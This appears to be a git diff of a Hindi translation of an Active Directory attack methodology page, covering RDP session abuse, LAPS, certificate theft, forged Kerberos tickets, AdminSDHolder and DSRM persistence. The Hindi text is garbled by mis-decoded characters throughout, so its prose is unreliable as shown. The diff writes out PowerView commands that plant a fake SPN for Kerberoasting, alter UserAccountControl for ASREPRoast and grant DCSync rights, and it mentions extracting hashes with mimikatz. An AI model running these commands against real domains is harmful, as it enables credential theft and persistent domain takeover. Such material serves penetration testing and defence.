рд╕рддреНрд░реЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ -рдпрджрд┐ **рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** **рд╕рдордЭреМрддрд╛** рдХреА рдЧрдИ рдорд╢реАрди рддрдХ рдкрд╣реБрдБрдЪрддреЗ рд╣реИрдВ, рддреЛ **рдореЗрдореЛрд░реА рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЗрдХрдЯреНрдард╛ рдХрд░рдирд╛** рдФрд░ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ **рдЙрдирдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ рдмреАрдХрди рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛** рд╕рдВрднрд╡ рд╣реИ рддрд╛рдХрд┐ рдЙрдирдХреА рдирдХрд▓ рдХреА рдЬрд╛ рд╕рдХреЗред\ -рдЖрдорддреМрд░ рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ RDP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рддрдХ рдкрд╣реБрдБрдЪрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдпрд╣рд╛рдВ рдЖрдкрдХреЗ рдкрд╛рд╕ рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреЗ RDP рд╕рддреНрд░реЛрдВ рдкрд░ рдХреБрдЫ рд╣рдорд▓реЗ рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рд╣реИ: +рдпрджрд┐ **рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** **рд╕рдордЭреМрддрд╛ рдХрд┐рдП рдЧрдП** рдорд╢реАрди рддрдХ рдкрд╣реБрдВрдЪрддреЗ рд╣реИрдВ, рддреЛ **рдореЗрдореЛрд░реА рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЗрдХрдЯреНрдард╛ рдХрд░рдирд╛** рдФрд░ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ **рдЙрдирдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ рдмреАрдХрди рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛** рд╕рдВрднрд╡ рд╣реИ рддрд╛рдХрд┐ рдЙрдирдХреА рдирдХрд▓ рдХреА рдЬрд╛ рд╕рдХреЗред\ +рдЖрдорддреМрд░ рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ RDP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рддрдХ рдкрд╣реБрдВрдЪрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдпрд╣рд╛рдВ рдЖрдкрдХреЗ рдкрд╛рд╕ рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреЗ RDP рд╕рддреНрд░реЛрдВ рдкрд░ рдХреБрдЫ рд╣рдорд▓реЗ рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рд╣реИ: {{#ref}} rdp-sessions-abuse.md @@ -338,7 +341,7 @@ rdp-sessions-abuse.md ### LAPS -**LAPS** рдбреЛрдореЗрди-рдЬреЛрдбрд╝реЗ рдЧрдП рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдкрд░ **рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╛рд╕рд╡рд░реНрдб** рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреНрд░рдгрд╛рд▓реА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рдпрд╣ **рдпрд╛рджреГрдЪреНрдЫрд┐рдХ**, рдЕрджреНрд╡рд┐рддреАрдп, рдФрд░ рдЕрдХреНрд╕рд░ **рдмрджрд▓рддрд╛** рд╣реИред рдпреЗ рдкрд╛рд╕рд╡рд░реНрдб Active Directory рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ ACLs рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЗрд╡рд▓ рдЕрдзрд┐рдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдкрд╣реБрдБрдЪ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХреА рдЬрд╛рддреА рд╣реИред рдЗрди рдкрд╛рд╕рд╡рд░реНрдбреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде, рдЕрдиреНрдп рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдкрд░ рдкрд┐рд╡рдЯрд┐рдВрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред +**LAPS** рдбреЛрдореЗрди-рдЬреЛрдбрд╝реЗ рдЧрдП рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдкрд░ **рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╛рд╕рд╡рд░реНрдб** рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреНрд░рдгрд╛рд▓реА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рдпрд╣ **рдпрд╛рджреГрдЪреНрдЫрд┐рдХ**, рдЕрджреНрд╡рд┐рддреАрдп, рдФрд░ рдЕрдХреНрд╕рд░ **рдмрджрд▓рддрд╛** рд╣реИред рдпреЗ рдкрд╛рд╕рд╡рд░реНрдб Active Directory рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ ACLs рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЗрд╡рд▓ рдЕрдзрд┐рдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдкрд╣реБрдВрдЪ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХреА рдЬрд╛рддреА рд╣реИред рдЗрди рдкрд╛рд╕рд╡рд░реНрдбреЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде, рдЕрдиреНрдп рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдкрд░ рдкрд┐рд╡рдЯрд┐рдВрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред {{#ref}} laps.md @@ -346,7 +349,7 @@ laps.md ### рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЪреЛрд░реА -рд╕рдордЭреМрддрд╛ рдХреА рдЧрдИ рдорд╢реАрди рд╕реЗ **рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЗрдХрдЯреНрдард╛ рдХрд░рдирд╛** рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рднреАрддрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ: +рд╕рдордЭреМрддрд╛ рдХрд┐рдП рдЧрдП рдорд╢реАрди рд╕реЗ **рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЗрдХрдЯреНрдард╛ рдХрд░рдирд╛** рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рднреАрддрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ: {{#ref}} ad-certificates/certificate-theft.md @@ -377,25 +380,25 @@ ad-certificates/domain-escalation.md - рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ [**Kerberoast**](kerberoast.md) рдХреЗ рд▓рд┐рдП рдХрдордЬреЛрд░ рдмрдирд╛рдирд╛ -```powershell +```bash Set-DomainObject -Identity -Set @{serviceprincipalname="fake/NOTHING"}r ``` - рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ [**ASREPRoast**](asreproast.md) рдХреЗ рд▓рд┐рдП рдХрдордЬреЛрд░ рдмрдирд╛рдирд╛ -```powershell +```bash Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} ``` - рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ [**DCSync**](#dcsync) рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рджреЗрдирд╛ -```powershell +```bash Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync ``` ### рд╕рд┐рд▓реНрд╡рд░ рдЯрд┐рдХрдЯ -**рд╕рд┐рд▓реНрд╡рд░ рдЯрд┐рдХрдЯ рд╣рдорд▓рд╛** рдПрдХ рд╡рд┐рд╢реЗрд╖ рд╕реЗрд╡рд╛ рдХреЗ рд▓рд┐рдП **рд╡реИрдз рдЯрд┐рдХрдЯ рдЧреНрд░рд╛рдВрдЯрд┐рдВрдЧ рд╕реЗрд╡рд╛ (TGS) рдЯрд┐рдХрдЯ** рдмрдирд╛рддрд╛ рд╣реИ, **NTLM рд╣реИрд╢** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, **PC рдЦрд╛рддреЗ рдХрд╛ рд╣реИрд╢**)ред рдЗрд╕ рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ **рд╕реЗрд╡рд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ** рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +**рд╕рд┐рд▓реНрд╡рд░ рдЯрд┐рдХрдЯ рд╣рдорд▓рд╛** рдПрдХ рд╡рд┐рд╢реЗрд╖ рд╕реЗрд╡рд╛ рдХреЗ рд▓рд┐рдП **рд╡реИрдз рдЯрд┐рдХрдЯ рдЧреНрд░рд╛рдВрдЯрд┐рдВрдЧ рд╕реЗрд╡рд╛ (TGS) рдЯрд┐рдХрдЯ** рдмрдирд╛рддрд╛ рд╣реИ, **NTLM рд╣реИрд╢** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, **PC рдЦрд╛рддреЗ рдХрд╛ рд╣реИрд╢**)ред рдЗрд╕ рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ **рд╕реЗрд╡рд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ** рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред {{#ref}} silver-ticket.md @@ -403,7 +406,7 @@ silver-ticket.md ### рдЧреЛрд▓реНрдбрди рдЯрд┐рдХрдЯ -**рдЧреЛрд▓реНрдбрди рдЯрд┐рдХрдЯ рд╣рдорд▓рд╛** рдореЗрдВ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ **Active Directory (AD)** рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ **krbtgt рдЦрд╛рддреЗ** рдХреЗ **NTLM рд╣реИрд╢** рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдЦрд╛рддрд╛ рд╡рд┐рд╢реЗрд╖ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рднреА **рдЯрд┐рдХрдЯ рдЧреНрд░рд╛рдВрдЯрд┐рдВрдЧ рдЯрд┐рдХрдЯ (TGTs)** рдкрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ AD рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рднреАрддрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВред +**рдЧреЛрд▓реНрдбрди рдЯрд┐рдХрдЯ рд╣рдорд▓рд╛** рдореЗрдВ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ **Active Directory (AD)** рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ **krbtgt рдЦрд╛рддреЗ** рдХреЗ **NTLM рд╣реИрд╢** рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдЦрд╛рддрд╛ рд╡рд┐рд╢реЗрд╖ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рднреА **рдЯрд┐рдХрдЯ рдЧреНрд░рд╛рдВрдЯрд┐рдВрдЧ рдЯрд┐рдХрдЯ (TGTs)** рдкрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ AD рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рднреАрддрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВред рдПрдХ рдмрд╛рд░ рдЬрдм рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рд╣реИрд╢ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд▓реЗрддрд╛ рд╣реИ, рддреЛ рд╡рд╣ рдХрд┐рд╕реА рднреА рдЦрд╛рддреЗ рдХреЗ рд▓рд┐рдП **TGTs** рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╡рд╣ рдЪреБрдирддрд╛ рд╣реИ (рд╕рд┐рд▓реНрд╡рд░ рдЯрд┐рдХрдЯ рд╣рдорд▓рд╛)ред @@ -413,7 +416,7 @@ golden-ticket.md ### рдбрд╛рдпрдордВрдб рдЯрд┐рдХрдЯ -рдпреЗ рдЧреЛрд▓реНрдбрди рдЯрд┐рдХрдЯ рдХреА рддрд░рд╣ рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ **рд╕рд╛рдорд╛рдиреНрдп рдЧреЛрд▓реНрдбрди рдЯрд┐рдХрдЯ рдкрд╣рдЪрд╛рди рддрдВрддреНрд░реЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕** рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рд╕реЗ рдмрдирд╛рдП рдЬрд╛рддреЗ рд╣реИрдВред +рдпреЗ рдЧреЛрд▓реНрдбрди рдЯрд┐рдХрдЯ рдХреА рддрд░рд╣ рд╣реЛрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЗрд╕ рддрд░рд╣ рд╕реЗ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ **рд╕рд╛рдорд╛рдиреНрдп рдЧреЛрд▓реНрдбрди рдЯрд┐рдХрдЯ рдкрд╣рдЪрд╛рди рддрдВрддреНрд░реЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред {{#ref}} diamond-ticket.md @@ -437,13 +440,13 @@ ad-certificates/domain-persistence.md ### AdminSDHolder рд╕рдореВрд╣ -Active Directory рдореЗрдВ **AdminSDHolder** рдСрдмреНрдЬреЗрдХреНрдЯ **рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╕рдореВрд╣реЛрдВ** (рдЬреИрд╕реЗ рдбреЛрдореЗрди рдПрдбрдорд┐рди рдФрд░ рдПрдВрдЯрд░рдкреНрд░рд╛рдЗрдЬ рдПрдбрдорд┐рди) рдХреА рд╕реБрд░рдХреНрд╖рд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЗрди рд╕рдореВрд╣реЛрдВ рдкрд░ рдПрдХ рдорд╛рдирдХ **рдПрдХреНрд╕реЗрд╕ рдХрдВрдЯреНрд░реЛрд▓ рд▓рд┐рд╕реНрдЯ (ACL)** рд▓рд╛рдЧреВ рдХрд░рдХреЗ рдЕрдирдзрд┐рдХреГрдд рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЛ рд░реЛрдХрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕ рд╕реБрд╡рд┐рдзрд╛ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ; рдпрджрд┐ рдХреЛрдИ рд╣рдорд▓рд╛рд╡рд░ AdminSDHolder рдХреЗ ACL рдХреЛ рдПрдХ рдирд┐рдпрдорд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдкреВрд░реНрдг рдкрд╣реБрдБрдЪ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╕рднреА рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╕рдореВрд╣реЛрдВ рдкрд░ рд╡реНрдпрд╛рдкрдХ рдирд┐рдпрдВрддреНрд░рдг рдорд┐рд▓ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп, рдЬрд┐рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдЙрд▓рдЯрд╛ рдкрдбрд╝ рд╕рдХрддрд╛ рд╣реИ, рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдБрдЪ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬрдм рддрдХ рдХрд┐ рдЗрд╕реЗ рдирд┐рдХрдЯрддрд╛ рд╕реЗ рдореЙрдирд┐рдЯрд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ред +Active Directory рдореЗрдВ **AdminSDHolder** рдСрдмреНрдЬреЗрдХреНрдЯ **рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╕рдореВрд╣реЛрдВ** (рдЬреИрд╕реЗ рдбреЛрдореЗрди рдПрдбрдорд┐рди рдФрд░ рдПрдВрдЯрд░рдкреНрд░рд╛рдЗрдЬ рдПрдбрдорд┐рди) рдХреА рд╕реБрд░рдХреНрд╖рд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЗрди рд╕рдореВрд╣реЛрдВ рдкрд░ рдПрдХ рдорд╛рдирдХ **рдПрдХреНрд╕реЗрд╕ рдХрдВрдЯреНрд░реЛрд▓ рд▓рд┐рд╕реНрдЯ (ACL)** рд▓рд╛рдЧреВ рдХрд░рдХреЗ рдЕрдирдзрд┐рдХреГрдд рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЛ рд░реЛрдХрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕ рд╕реБрд╡рд┐рдзрд╛ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ; рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ AdminSDHolder рдХреЗ ACL рдХреЛ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдкреВрд░реНрдг рдкрд╣реБрдВрдЪ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╕рднреА рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╕рдореВрд╣реЛрдВ рдкрд░ рд╡реНрдпрд╛рдкрдХ рдирд┐рдпрдВрддреНрд░рдг рдорд┐рд▓ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп, рдЬреЛ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдЙрд▓рдЯрд╛ рдкрдбрд╝ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдВрдЪ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИ рдЬрдм рддрдХ рдХрд┐ рдЗрд╕реЗ рдирд┐рдХрдЯрддрд╛ рд╕реЗ рдореЙрдирд┐рдЯрд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ред [**AdminDSHolder рд╕рдореВрд╣ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдВред**](privileged-groups-and-token-privileges.md#adminsdholder-group) ### DSRM рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ -рд╣рд░ **рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ (DC)** рдХреЗ рдЕрдВрджрд░, рдПрдХ **рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ** рдЦрд╛рддрд╛ рд╣реЛрддрд╛ рд╣реИред рдРрд╕реА рдорд╢реАрди рдкрд░ рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдХреЗ, рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд╣реИрд╢ рдХреЛ **mimikatz** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рдж, рдЗрд╕ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдкрдВрдЬреАрдХрд░рдг рд╕рдВрд╢реЛрдзрди** рдЖрд╡рд╢реНрдпрдХ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЦрд╛рддреЗ рддрдХ рджреВрд░рд╕реНрде рдкрд╣реБрдБрдЪ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред +рд╣рд░ **рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ (DC)** рдХреЗ рдЕрдВрджрд░, рдПрдХ **рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ** рдЦрд╛рддрд╛ рдореМрдЬреВрдж рд╣реЛрддрд╛ рд╣реИред рдРрд╕реА рдорд╢реАрди рдкрд░ рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдХреЗ, рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд╣реИрд╢ рдХреЛ **mimikatz** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рдж, рдЗрд╕ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдкрдВрдЬреАрдХрд░рдг рд╕рдВрд╢реЛрдзрди** рдЖрд╡рд╢реНрдпрдХ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЦрд╛рддреЗ рддрдХ рджреВрд░рд╕реНрде рдкрд╣реБрдВрдЪ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред {{#ref}} dsrm-credentials.md @@ -457,9 +460,9 @@ dsrm-credentials.md acl-persistence-abuse/ {{#endref}} -### рд╕реБрд░рдХреНрд╖рд╛ рд╡рд░реНрдгрдирдХрд░реНрддрд╛ +### рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рд╡рд░рдг -**рд╕реБрд░рдХреНрд╖рд╛ рд╡рд░реНрдгрдирдХрд░реНрддрд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ **рдЕрдиреБрдорддрд┐рдпреЛрдВ** рдХреЛ **рд╕реНрдЯреЛрд░** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдПрдХ **рдСрдмреНрдЬреЗрдХреНрдЯ** рдХреЗ рдкрд╛рд╕ **рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ** рдкрд░ рд╣реЛрддреА рд╣реИрдВред рдпрджрд┐ рдЖрдк рдХреЗрд╡рд▓ **рд╕реБрд░рдХреНрд╖рд╛ рд╡рд░реНрдгрдирдХрд░реНрддрд╛** рдХреЗ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ **рдереЛрдбрд╝рд╛ рдкрд░рд┐рд╡рд░реНрддрди** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрд╕ рдСрдмреНрдЬреЗрдХреНрдЯ рдкрд░ рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдмрд┐рдирд╛ рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╕рдореВрд╣ рдХрд╛ рд╕рджрд╕реНрдп рдмрдиреЗред +**рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рд╡рд░рдг** рдХрд╛ рдЙрдкрдпреЛрдЧ **рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ** рдкрд░ **рдЕрдиреБрдорддрд┐рдпреЛрдВ** рдХреЛ **рд╕реНрдЯреЛрд░** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рдЖрдк рдХреЗрд╡рд▓ **рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рд╡рд░рдг** рдХреЗ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ **рдереЛрдбрд╝рд╛ рд╕рд╛ рдкрд░рд┐рд╡рд░реНрддрди** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрд╕ 